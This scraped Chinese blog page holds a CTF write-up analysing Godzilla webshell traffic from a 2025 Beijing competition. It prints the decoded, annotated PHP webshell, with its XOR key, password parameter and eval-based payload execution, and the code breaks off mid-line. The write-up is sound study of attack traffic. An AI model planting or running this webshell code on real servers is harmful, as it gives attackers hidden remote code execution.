当前位置: 首页 > news >正文

2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析

2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析

一、流量分析

题目没有任何提示,附件gzl.pcap
在这里插入图片描述

解题哥斯拉流量300多KB包很多,没啥经验只能挨个看回来之后又狠狠得撸了一把哥斯拉流量分析我这里用的是哥斯拉4.0.1

在这里插入图片描述
在这里插入图片描述

测试链接这里发了两个包,我们进行分析

1、第一个请求包

哥斯拉将payload进行了base64编码,并且将编码后的内容做了字符串反转,我们echo进行还原
在这里插入图片描述

<?php
// 安全增强设置
@session_start();             // 启动会话存储(用于保存Payload)
@set_time_limit(0);           // 取消脚本执行时间限制
@error_reporting(0);          // 禁用错误报告(避免泄露信息)/*** 核心加密/解密函数(使用XOR算法)* @param string $D 待处理数据* @param string $K 16字节密钥* @return string 处理后的数据*/
function encode($D, $K) {for ($i = 0; $i < strlen($D); $i++) {$c = $K[$i + 1 & 15];  // 循环使用密钥字符(i+1 mod 16)$D[$i] = $D[$i] ^ $c;  // 逐字节异或操作}return $D;
}// 配置参数
$pass = 'thisiskey';          // 通信密码(POST参数名)
$payloadName = 'payload';     // 会话中存储的Payload名称
$key = '144a6b2296333602';   // 16字节异或密钥(与客户端一致)// 主逻辑:处理客户端请求
if (isset($_POST[$pass])) {// 1. 解码客户端发送的数据$data = encode(base64_decode($_POST[$pass]), $key);// 2. 检查是否已加载Payloadif (isset($_SESSION[$payloadName])) {// 2.1 获取已存储的Payload并解密$payload = encode($_SESSION[$payloadName], $key);// 2.2 特殊处理:如果不是初始Payload(包含getBasicsInfo),需要二次解密if (strpos($payload, "getBasicsInfo") === false) {$payload = encode($payload, $key);}// 2.3 执行Payload(通常是PHP后门核心代码)eval($payload);// 2.4 生成响应包:前缀+加密结果+后缀echo substr(md5($pass.$key), 0, 16);           // 前缀:MD5前16字节echo base64_encode(encode(@run($data), $key)); // 加密响应数据echo substr(md5($pass.$key
http://www.xdnf.cn/news/689707.html

相关文章:

  • 让Qt窗口覆盖整个桌面区域(支持多屏幕桌面)
  • 软件工程期末速成--附带几道题
  • 高光谱成像相机:表型技术在林业育种和精确林业的应用
  • element-plus bug整理
  • 操作系统(Operator System)
  • 从0到1掌握Kotlin高阶函数:开启Android开发新境界!
  • .NET 9的AI亮点
  • Vue2+Vuex通过数组动态生成store数据(扁平模式)
  • Dockerfile正确写法之现代容器化构建的最佳实践
  • docker镜像与dockerfile
  • C++修炼:map和set的封装
  • 【线程与进程区别】
  • 高效合并 Excel 表格实用工具
  • AIoT赋能场馆数字化转型:智能管理新生态
  • 拨云见日:Arbitrum引领EVM的未来
  • Condition源码解读(二)
  • 4.8.2 利用Spark SQL计算总分与平均分
  • Flink 核心机制与源码剖析系列
  • spark- ResultStage 和 ShuffleMapStage介绍
  • 力扣HOT100之回溯:51. N 皇后
  • 电脑长期不关机会怎样?
  • 「Python教案」通用序列操作
  • 股指期货的基差跟升贴水概念
  • 力扣-找到字符串中所有字母异位符
  • JDBC+HTML+AJAX实现登陆和单表的CRUD
  • 互联网大厂Java求职面试:AI大模型推理服务性能优化与向量数据库分布式检索
  • linux 性能优化-内存
  • windows安装启动elasticsearch
  • Linux之高效文本编辑利器 —— vim
  • 家用热水器用户行为分析与事件识别